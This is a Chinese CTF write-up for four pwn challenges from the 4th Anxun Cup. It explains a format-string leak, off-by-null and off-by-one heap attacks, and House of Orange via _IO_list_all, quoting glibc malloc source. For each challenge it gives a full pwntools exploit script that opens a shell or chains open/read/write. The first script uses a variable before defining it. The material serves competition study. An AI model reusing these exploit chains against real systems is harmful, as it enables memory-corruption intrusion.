0%

第四届安洵杯

house-of-orange

1.ezstack

简单的格式化字符串漏洞,泄露基地址和canary,泄露rop。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import*
#io = process("./ezstack")
io=remote('47.108.195.119',20113)
context.log_level = "debug"

binsh=addr+0xB24
system=addr+0x810
pop_rdi=addr+0xb03

def exp():
io.recvuntil('\n')
io.sendline('Gleaf')
io.recvuntil('\x1b\x5b\x30\x6d\n')
io.sendline('f1ag')
raw_input()
io.sendline("%17$p%11$pA")
io.recvuntil('0x')
addr=int(io.recv(12),16)-0x9dc
print('addr',hex(addr))
io.recvuntil("0x")
canary = int(io.recv(16),16)
print('canary',hex(canary))
payload = 'a'*0x18+p64(canary)+p64(0)+p64(addr+0x7c1)+p64(pop_rdi)+p64(binsh)+p64(system)
io.sendlineafter("-\n",payload)
io.interactive()
exp()

2.noleak1

一个很明显的off-by-null,逆向得到密码N0_py_1n_tHe_ct7。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
io=remote('47.108.195.119',20182)
#io=process('./noleak1')
elf=ELF('./noleak1')
#libc=elf.libc
libc=ELF('./libc.so.6')
context.log_level='debug'

def add(index,size):
io.sendlineafter('>','1')
io.sendlineafter('Index?\n',str(index))
io.sendlineafter('Size?\n',str(size))

def show(index):
io.sendlineafter('>','2')
io.sendlineafter('Index?\n',str(index))

def edit(index,content):
io.sendlineafter('>','3')
io.sendlineafter('Index?\n',str(index))
io.sendafter('content:\n',content)

def dele(index):
io.sendlineafter('>','4')
io.sendlineafter('Index?\n',str(index))

def exp():
io.recvuntil('\n')
io.sendline('Gleaf')
io.recvuntil('\n')
io.sendline('f1ag')
io.recvuntil("str:")
io.sendline('N0_py_1n_tHe_ct7')
add(0,0x420)
add(1,0x28)
add(2,0xf8)

for i in range(7):
add(i+3,0xf8)

for i in range(7):
dele(9-i)

dele(0)
add(0,0x30)
show(0)
malloc_hook = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x460
libc_base = malloc_hook - libc.symbols['__malloc_hook']
print('libc_base',hex(libc_base))
free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']

edit(1,'0'*0x20 + p64(0x420))
dele(2)
dele(1)
add(4,0x410)
edit(4,'1'*0x3e0+p64(0)+p64(0x30)+p64(free_hook))
add(5,0x20)
add(6,0x20)
edit(6,p64(system))
edit(5,'/bin/sh\x00')
dele(5)
io.interactive()
exp()

3.ezheap

改遍2016年HITCONCTF,正好借这个题来复习一下house-of-orange。

题目存在堆溢出漏洞且没有free等可以释放chunk的函数,因此我们可以利用sysmalloc函数中的_int_free函数,那么该如何调用sysmalloc函数呢?我们来看下malloc的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
use_top:
/*
If large enough, split off the chunk bordering the end of memory
(held in av->top). Note that this is in accord with the best-fit
search rule. In effect, av->top is treated as larger (and thus
less well fitting) than any other available chunk since it can
be extended to be as large as necessary (up to system
limitations).

We require that av->top always exists (i.e., has size >=
MINSIZE) after initialization, so if it would otherwise be
exhausted by current request, it is replenished. (The main
reason for ensuring it exists is that we may need MINSIZE space
to put in fenceposts in sysmalloc.)
*/

victim = av->top;
size = chunksize (victim);

if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
av->top = remainder;
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);

check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}

/* When we are using atomic ops to free fast chunks we can get
here for all block sizes. */
else if (have_fastchunks (av))
{
malloc_consolidate (av);
/* restore original bin index */
if (in_smallbin_range (nb))
idx = smallbin_index (nb);
else
idx = largebin_index (nb);
}

/*
Otherwise, relay to handle system-dependent cases
*/
else
{
void *p = sysmalloc (nb, av);
if (p != NULL)
alloc_perturb (p, bytes);
return p;
}
}

因此可以看到当top_chunk的大小小于我们要申请的大小,且fastbin中没有freechunk,就会调用sysmalloc函数。

sysmalloc()有两种方法分配新的内存,第一种是调用mmap函数分配,第二种就是调用sbrk函数直接扩充top_chunk。判断使用哪种方法的条件如下:

image-20211128194827271

只要我们申请chunk的大小小于mp_.mmap_threshold也就是0x20000,就会调用sbrk函数。那该怎么调用sysmalloc中的_int_free函数呢?我们再次看下sysmalloc函数的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
 old_top = av->top;
old_size = chunksize (old_top);
old_end = (char *) (chunk_at_offset (old_top, old_size));

brk = snd_brk = (char *) (MORECORE_FAILURE);

/*
If not the first time through, we require old_size to be
at least MINSIZE and to have prev_inuse set.
*/

assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));

/* Precondition: not enough current space to satisfy nb request */
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));


if (av != &main_arena)
{
…………
else if ((heap = new_heap (nb + (MINSIZE + sizeof (*heap)), mp_.top_pad)))
{
…………
old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK;
set_head (chunk_at_offset (old_top, old_size + 2 * SIZE_SZ), 0 | PREV_INUSE);
if (old_size >= MINSIZE)
{
set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE);
set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ));
set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);
_int_free (av, old_top, 1);
}
…………
else /* av == main_arena */
…………
if (snd_brk != (char *) (MORECORE_FAILURE))
{
…………
if (old_size != 0)
{
old_size = (old_size - 4 * SIZE_SZ) & ~MALLOC_ALIGN_MASK;
set_head (old_top, old_size | PREV_INUSE);
chunk_at_offset (old_top, old_size)->size =
(2 * SIZE_SZ) | PREV_INUSE;
chunk_at_offset (old_top, old_size + 2 * SIZE_SZ)->size =
(2 * SIZE_SZ) | PREV_INUSE;

/* If possible, release the rest. */
if (old_size >= MINSIZE)
{
_int_free (av, old_top, 1);
}
}
}

需要top_chunk在减去一个放置fencepost的MINSIZE后,还要大于MINSIZE(0x20);如果是main_arena则需要放置两个fencepost。还需要满足old_size小于nb+MINSIZE,PREV_INUSE标志位为1,以及old_top+old_size页对齐。

因此我们先利用溢出将top_chunk的大小改到小于0x20000的值且需要使old_top+old_size页对齐,然后我们申请一个大于修改过后的top_chunk的size的chunk,这样top_chunk就被放入了unsortedbin中。这时我们就可以泄露出libc_base和heap_base(fd_nextsize)。紧接着我们再次利用溢出将被放入unsortedbin中的old_topchunk的大小改为0x60(后面会说到为什么是0x60)。

同时将其bk指针改为&_IO_list_all-0x10(利用unsortedbin attack将_IO_list_all的值改为main_arena+88)以及布置上其他数据。最后直接申请一个大于0x60大小的chunk即可拿到shell。那么这些数据是什么呢?

在我们申请一个大于0x60大小的chunk这个期间,其实是发生了很多事情

  • 首先old_top从unsortedbin中解链造成unsortedbin attack将_IO_list_all的值改为main_arena+88,然后被放入smallbin[5]中。

    image-20211128205204873

  • 然后就会发生内存错误(因为unsortedbin的bk指针被改)调用了_IO_flush_all_lockp()调用流程:malloc_printerr -> __libc_message -> __GI_abort -> _IO_flush_all_lockp -> __FI__IO_str_overflow ,我们来看看_IO_flush_all_lockp函数的源码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    int
    _IO_flush_all_lockp (int do_lock)
    {
    int result = 0;
    struct _IO_FILE *fp;
    int last_stamp;

    #ifdef _IO_MTSAFE_IO
    __libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
    if (do_lock)
    _IO_lock_lock (list_all_lock);
    #endif

    last_stamp = _IO_list_all_stamp;
    fp = (_IO_FILE *) _IO_list_all;
    while (fp != NULL)
    {
    run_fp = fp;
    if (do_lock)
    _IO_flockfile (fp);

    if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
    #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
    || (_IO_vtable_offset (fp) == 0
    && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
    > fp->_wide_data->_IO_write_base))
    #endif
    )
    && _IO_OVERFLOW (fp, EOF) == EOF)
    result = EOF;

    if (do_lock)
    _IO_funlockfile (fp);
    run_fp = NULL;

    if (last_stamp != _IO_list_all_stamp)
    {
    /* Something was added to the list. Start all over again. */
    fp = (_IO_FILE *) _IO_list_all;
    last_stamp = _IO_list_all_stamp;
    }
    else
    fp = fp->_chain;
    }

    #ifdef _IO_MTSAFE_IO
    if (do_lock)
    _IO_lock_unlock (list_all_lock);
    __libc_cleanup_region_end (0);
    #endif

    return result;
    }

    因为此时_IO_list_all的值是main_arena+88其0x100范围内的值我们不好控制,因此我们需要利用fp = fp->_chain; 那么我们该如何执行到这条语句呢?要想执行到这条语句,首先就不能让前面出现错误,因为此时的_IO_list_all的值已被更改,所以其vatble的地址也被更改,所以如果执行了_IO_OVERFLOW函数就一定会报错,因此我们得需要&&前的条件不成立,这样就不会执行到_IO_OVERFLOW函数了。

    1
    2
    3
    4
    5
          if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
    #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
    || (_IO_vtable_offset (fp) == 0
    && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
    > fp->_wide_data->_IO_write_base))

    绕过执行后这行代码将_IO_list_all的值换成我们可以控制的值。 又因为(main_arena+88)+0x68的值是old_top,这也就是为什么要将old_top的size改为0x60的原因

    image-20211128212646692

  • 现在_IO_list_all的值是old_top的地址,因此我们就可以在old_top上布置数据了。首先将vtable的地址改为我们可以控制的地址,然后将system覆盖掉vtable中的_IO_OVERFLOW函数。然后布置使上面&&前的条件能成立的数据,因为有个||因此有两种布置方法。

  • 布置好后我们就可以执行_IO_OVERFLOW(fp,EOF) == EOF,默认此函数的第一个参数是_IO_FILE_plus,因为_IO_list_all的值就是_IO_FILE_plus,因此我们将old_top的prev_size写为/bin/sh\x00。

    第一种数据:

    image-20211128215557365

    第二种数据

    image-20211128220350974

exp1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
io=process('./pwn')
#io=remote('47.108.195.119' ,20141)
elf=ELF('./pwn')
libc=elf.libc
#libc=ELF('./libc.so.6')
context.log_level='debug'

def add(size,name):
io.sendlineafter('Your choice : ','1')
io.sendlineafter('size of it\n',str(size))
io.sendafter('Name?\n',name)

def edit(size,name):
io.sendlineafter('Your choice : ','2')
io.sendlineafter('size of it\n',str(size))
io.sendafter('name\n',name)

def show():
io.sendlineafter('Your choice : ','3')

def exp():
#io.recvuntil('\x3a\x1b\x5b\x30\x6d\n')
#io.sendline('Gleaf')
#sleep(0.1)
#io.recvuntil('\n')
#io.sendline('f1ag')

heap_addr=int(io.recvuntil('\n')[:-1],16)+0x90
print('heap_addr',hex(heap_addr))
add(0x18,'f1ag\n')
edit(0x20,'a'*0x18+p64(0x2fc1)+'\n')
add(0x3000,'f1ag\n')

add(0x50,'a'*7+'\n')

show()
malloc_hook=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-1864-16
libc_base=malloc_hook-libc.symbols['__malloc_hook']
print('libc_base',hex(libc_base))
gadget=[0x45226,0x4527a,0xf03a4,0xf1247]
IOlist=libc_base+libc.symbols['_IO_list_all']
system=libc_base+libc.symbols['system']
payload='a'*0x50+'/bin/sh\x00'+p64(0x60)+p64(0)+p64(IOlist-0x10)
payload=payload.ljust(0xa0+0x50,'\x00')
payload+=p64(heap_addr+0xc8)
payload=payload.ljust(0xc0+0x50,'\x00')
payload+=p64(1)+p64(0)*2+p64(heap_addr+0xd8)+p64(1)+p64(2)+p64(system)
edit(0x200,payload+'\n')
io.sendlineafter('Your choice : ','1')
gdb.attach(io,gdb_args=["-d","../../../pwndbg/glibc-2.23/malloc"])
io.sendlineafter('size of it\n','16')

io.interactive()
exp()

exp2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
io=process('./pwn')
#io=remote('47.108.195.119' ,20141)
elf=ELF('./pwn')
libc=elf.libc
#libc=ELF('./libc.so.6')
context.log_level='debug'

def add(size,name):
io.sendlineafter('Your choice : ','1')
io.sendlineafter('size of it\n',str(size))
io.sendafter('Name?\n',name)

def edit(size,name):
io.sendlineafter('Your choice : ','2')
io.sendlineafter('size of it\n',str(size))
io.sendafter('name\n',name)

def show():
io.sendlineafter('Your choice : ','3')

def exp():
#io.recvuntil('\x3a\x1b\x5b\x30\x6d\n')
#io.sendline('Gleaf')
#sleep(0.1)
#io.recvuntil('\n')
#io.sendline('f1ag')

heap_addr=int(io.recvuntil('\n')[:-1],16)+0x90
print('heap_addr',hex(heap_addr))
add(0x18,'f1ag\n')
edit(0x20,'a'*0x18+p64(0x2fc1)+'\n')
add(0x3000,'f1ag\n')

add(0x50,'a'*7+'\n')

show()
malloc_hook=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-1864-16
libc_base=malloc_hook-libc.symbols['__malloc_hook']
print('libc_base',hex(libc_base))
gadget=[0x45226,0x4527a,0xf03a4,0xf1247]
IOlist=libc_base+libc.symbols['_IO_list_all']
system=libc_base+libc.symbols['system']
payload='a'*0x50+'/bin/sh\x00'+p64(0x60)+p64(0)+p64(IOlist-0x10)+p64(0)+p64(1)
payload=payload.ljust(0xa0+0x50,'\x00')
payload+=p64(heap_addr+0xc8)
payload=payload.ljust(0xc0+0x50,'\x00')
payload+=p64(0)+p64(0)*2+p64(heap_addr+0xd8)+p64(1)+p64(2)+p64(system)
edit(0x200,payload+'\n')
io.sendlineafter('Your choice : ','1')
gdb.attach(io,gdb_args=["-d","../../../pwndbg/glibc-2.23/malloc"])
io.sendlineafter('size of it\n','16')

io.interactive()
exp()

4.pwnsky

这个题一开始我猜测漏洞在加密算法那,但是一直没有找到越界或是溢出的地方,直到提示有花指令(emmm)

我们先来看一下这个算法,其实也就是将我们输入的值进行异或一下而已

image-20211129101613615

对于登录的密码,我们只需要动态调试一下即可得出key值,然后将后四个字节与该key异或即可得到密码。

对于add函数里藏了一个花指令我是着实没有想到,因为我找到了加密函数里的花指令,但又分析了好长时间也没发现漏洞,并且这个函数感觉那么的完整。。。。。。

通过动态调试,明确函数执行流程,然后patch掉中间跳来跳去的代码比如call,jmp,ret等等,这样花指令就去除了。去除后有一个很明显的off-by-one漏洞,只要我们的输入加密后的前八个字节为0就能多写一个字节的数据。

image-20211129104221906

后面就是off-by-one的常规操作,只不过程序里的堆十分的乱,需要花时间去慢慢调试。拿到libc_base后通过environ打栈,构造rop。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
#coding=utf-8
from pwn import*
io=process('./pwn')
context.log_level = 'debug'
context.arch='amd64'
elf=ELF('./pwn')
libc=elf.libc

#gdb.attach(io,"b *$rebase(0x1663)")

def add(size,content):
io.sendlineafter('$','add')
io.sendlineafter('size?\n',str(size))
io.send(content)

def show(index):
io.sendlineafter('$','get')
io.sendlineafter("index?",str(index))

def dele(index):
io.sendlineafter('$','del')
io.sendlineafter("index?",str(index))

def exp():
io.recvuntil('\n')
io.sendline('Gleaf')
io.recvuntil('\n')
io.sendline('f1ag')
io.sendlineafter("$",'login')
io.sendlineafter('account:',str(0x3e8))
io.sendlineafter('password:',str(0x18F7D121))
add(0x410,'\n')#0
add(0x18,'\n')#1
dele(0)
add(0x410,'a'*7+'\n')

show(0)
malloc_hook=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-96-16
libc_base=malloc_hook-libc.symbols['__malloc_hook']
print('libc_base',hex(libc_base))
environ=libc.symbols['_environ']+libc_base
opens=libc.symbols['open']+libc_base
read=libc.symbols['read']+libc_base
write=libc.symbols['write']+libc_base

add(0x20,'\n')#2
add(0x20,'\n')#3
dele(3)
dele(2)
add(0x20,'\n')#2
show(2)
io.recvuntil('\n')
heap_base=u64(io.recv(6).ljust(8,'\x00'))-0xbc0a
print('heap_base',hex(heap_base))

add(0x2f8,'\n')#3
add(0x3f8,'\n')#4
add(0xb8,'\n')#5
add(0x1f8,'\n')#6

dele(3)
add(0x2f8,p64(0x5c320f6069898f69)+'\x00'*0x2f0)#3
io.send('\xf1')
dele(4)
add(0x3e8,'\n')#4

add(0x58,'\n')#7
add(0xb8,'\n')#8
dele(8)
dele(5)#0x3c0
dele(7)#0x380
add(0x58,'\x00'*0x30+p64(0xc63b46d4aa52d377)+p64(0xc1^0x151edb8a53e4cae2)+p64(environ^0xf3014ff9682b57e3)+'\n')#5 0x380

add(0xb8,p64(environ^0x5c320f6069898f69)+'\n')#7 0x3c0
add(0xb8,'\n')#8 environ
show(8)
stack=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))+0x8e-0x3e0
print('stack',hex(stack))
add(0xb8,'\n')#9
dele(9)
dele(7)
dele(5)
add(0x58,'\x00'*0x30+p64(0xc63b46d4aa52d377)+p64(0xc1^0x151edb8a53e4cae2)+p64(stack^0xf3014ff9682b57e3)+'\n')#5
add(0xb8,'\n')#7

#open('/sky_token',0)
payload=p64((libc.search(asm('pop rdi\nret')).next()+libc_base)^0x5c320f6069898f69)
payload+=p64((stack+0x80)^0x0de3d33a0c1220ac)
payload+=p64((libc.search(asm('pop rsi\nret')).next()+libc_base)^0xa0293be2f9812301)
payload+=p64(0^0x5301d8fbeb89fdcc)
payload+=p64(opens^0xd2f251d00d3adb15)
#read(3,addr,0x30)
payload+=p64((libc.search(asm('pop rdi\nret')).next()+libc_base)^0xd026e346d0690e92)
payload+=p64(3^0xc63b46d4aa52d377)
payload+=p64((libc.search(asm('pop rsi\nret')).next()+libc_base)^0x151edb8a53e4cae2)
payload+=p64((stack+0x500)^0xf3014ff9682b57e3)
payload+=p64((0x000000000011c371+libc_base)^0x24f31353a0996c13)
payload+=p64(0x30^0xc65eeeccaee2d74d)
payload+=p64(0x151edb8a53e4caa2)
payload+=p64(read^0x3a40d30a4d0d05e3)
#write(1,addr,0x30)
payload+=p64((libc.search(asm('pop rdi\nret')).next()+libc_base)^0xd7464026f4300123)
payload+=p64(1^0x69d3b41a51aa9005)
payload+=p64(write^0x4033d7fc54021a4d)
payload+=p64(0x6b6f745f796b732f^0xf2cace7069203b02)
payload+=p64(0x6e65^0xb41208eeeddba63b)
#gdb.attach(io)
add(0xb8,payload+'\n')#9
io.interactive()

i=0
while(i!=10):
try:
io=remote('47.108.195.119' ,20135)
exp()
i+=1
except:
i+=1
io.close()
#exp()